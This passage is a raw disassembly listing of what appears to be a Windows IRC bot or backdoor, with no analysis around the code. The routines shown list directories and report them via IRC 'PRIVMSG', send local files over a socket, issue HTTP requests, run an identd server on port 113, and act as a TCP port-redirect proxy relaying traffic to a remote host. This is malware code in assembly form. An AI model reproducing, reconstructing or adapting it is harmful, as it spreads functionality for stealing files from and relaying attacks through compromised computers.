loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+Source], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi		; Count


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		call	ds:dword_427078	; Sleep


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+Str]
		call	ds:dword_427118	; FindNextFileA
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+Str]
		call	ds:dword_42710C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+Source], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

Dst		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_4270EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		call	ds:dword_427108	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_42711C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		call	ds:dword_427068	; CloseHandle


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4100AE(char *Str)

sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		xor	esi, esi
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4100DC(int,char *Str,int,int,int,int,int,int,int)

sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Format		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CB6D4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_14]
		call	dword_4CB654	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset byte_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+Format]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Format]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		push	ebx
		call	dword_4CB6A4	; send
		push	esi		; Size
		lea	eax, [ebp+Format]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+Format]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C	; recv
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5AC	; WSACleanup
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101FD	proc near		; DATA XREF: WinMain(x,x,x,x)+445o
					; sub_401ACD+436Ao

Str		= byte ptr -238h
Dest		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_8], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	71h
		call	dword_4CB654	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CB6D4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4CB680	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: sub_4101FD+EAj
					; sub_4101FD+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CB6E8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41035C
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_43468C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB66C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; Str
		call	sub_417F80
		push	0Ch		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Str1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	2		; int
		push	eax		; Dest
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	[ebp+var_8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: sub_4101FD+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: sub_4101FD+47j
					; sub_4101FD+6Bj ...
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_434648 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: sub_4101FD+162j
		push	ebx
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4101FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103AB	proc near		; DATA XREF: sub_401ACD+613Co

Source		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_44]
		call	dword_4CB654	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CB6D4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410517
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564	; WSAAsyncSelect
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB680	; bind
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CB67C	; listen
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: sub_4103AB+C6j
					; sub_4103AB+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6E8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4346F4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B0F7
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_41053C
		push	esi
		push	esi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_410502


loc_4104EF:				; CODE XREF: sub_4103AB+155j
		cmp	[ebp+var_30], esi
		jnz	loc_41045B
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4104EF
; ---------------------------------------------------------------------------


loc_410502:				; CODE XREF: sub_4103AB+142j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_4346B8 ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: sub_4103AB+63j
					; sub_4103AB+97j ...
		mov	edi, [ebp+arg_0]


loc_41051A:				; CODE XREF: sub_4103AB+16Aj
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_40]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4103AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41053C	proc near		; DATA XREF: sub_4103AB+124o

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_4106F2
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4CB654	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CB6D8	; gethostbyname
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: sub_41053C+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C	; gethostbyaddr


loc_4105DA:				; CODE XREF: sub_41053C+8Ej
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_43477C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_410723
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: sub_41053C+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_41069B
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: sub_41053C+153j
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: sub_41053C+19Fj
		push	ebx		; Size
		lea	eax, [ebp+var_1344]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C	; recv
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: sub_41053C+14Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_43473C ; "-"
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: sub_41053C+44j
					; sub_41053C+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41053C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410723	proc near		; DATA XREF: sub_41053C+130o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: sub_410723+7Cj
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C	; recv
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: sub_410723+61j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_410723	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107C0	proc near		; DATA XREF: sub_410A4E+1BEo

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
Args		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C	; select
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_410844:				; CODE XREF: sub_4107C0+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C	; recv
		lea	eax, [ebp+Args]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8	; getpeername
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8	; WSAGetLastError
		push	eax		; Args
		push	offset asc_434854 ; "-"
		call	sub_415221
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_4108BD:				; CODE XREF: sub_4107C0+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CB60C	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4108E7
		push	[ebp+var_18]
		call	dword_4CB6E0	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_4107C0+10Dj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy


loc_4108F5:				; CODE XREF: sub_4107C0+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	[ebp+var_18]
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Args]
		push	eax		; Args
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
